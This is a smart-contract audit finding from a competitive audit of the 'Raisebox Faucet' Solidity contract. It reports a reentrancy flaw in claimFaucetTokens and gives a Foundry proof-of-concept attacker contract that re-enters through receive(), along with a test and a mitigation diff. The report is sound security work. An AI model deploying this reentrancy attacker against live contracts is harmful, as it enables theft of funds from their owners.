Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `claimFaucetTokens` allows attackers to drain faucet tokens and ETH

Root + Impact

Description

  • The claimFaucetTokens function in RaiseBoxFaucet sends ETH to the caller before updating internal state. If the caller is a contract, its fallback function can re-enter claimFaucetTokens and claim tokens/ETH multiple times in a single transaction, bypassing the intended limits.

  • External call before internal state update violates the (CEI) pattern, enabling reentrancy. As a result, a malicious contract can repeatedly call claimFaucetTokens in a single transaction, draining the faucet.

External call before internal state update violates the (CEI) pattern, enabling reentrancy. As a result, a malicious contract can repeatedly call `claimFaucetTokens` in a single transaction, draining the faucet.
function claimFaucetTokens() public {
// ... checks omitted ...
(success, ) = faucetClaimer.call{value: sepEthAmountToDrip}(); // @> External call before state update
_transfer(address(this), faucetClaimer, faucetDrip); // @> State update after external call
dailyClaimCount++;
lastClaimTime[faucetClaimer] = block.timestamp;
}

Risk

Likelihood: High

  • The vulnerable code pattern is present in every call to claimFaucetTokens, so exploitation is possible whenever the faucet is funded and accessible.
    Any attacker can deploy a contract with a fallback function and immediately exploit the vulnerability as soon as they interact with the faucet, regardless of user protections or limits.

Impact:

  • Any attacker can drain the faucet’s tokens and ETH by exploiting reentrancy, bypassing daily claim limits and cooldowns. This can result in complete loss of faucet funds.


Proof of Code:

Place the following into RaiseBoxFaucet.t.sol:

contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public reentrancyCount;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
receive() external payable {
if (reentrancyCount == 0) {
reentrancyCount++;
faucet.claimFaucetTokens();
}
}
function attack() external {
faucet.claimFaucetTokens();
}
}
function testProvesReentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(payable(address(raiseBoxFaucet)));
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.attack();
uint256 claimed = raiseBoxFaucet.getBalance(address(attacker));
uint256 singleClaim = raiseBoxFaucet.faucetDrip();
assertGt(claimed, singleClaim, "Contract is not vulnerable to reentrancy");
}

Recommended Mitigation

  • Update all states before making any external calls (CEI Pattern), or use OpenZeppelin’s ReentrancyGuard.

function claimFaucetTokens() public nonReentrant {
- (success, ) = faucetClaimer.call{value: sepEthAmountToDrip}();
- _transfer(address(this), faucetClaimer, faucetDrip);
- dailyClaimCount++;
- lastClaimTime[faucetClaimer] = block.timestamp;
+ _transfer(address(this), faucetClaimer, faucetDrip);
+ dailyClaimCount++;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ (success, ) = faucetClaimer.call{value: sepEthAmountToDrip}();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.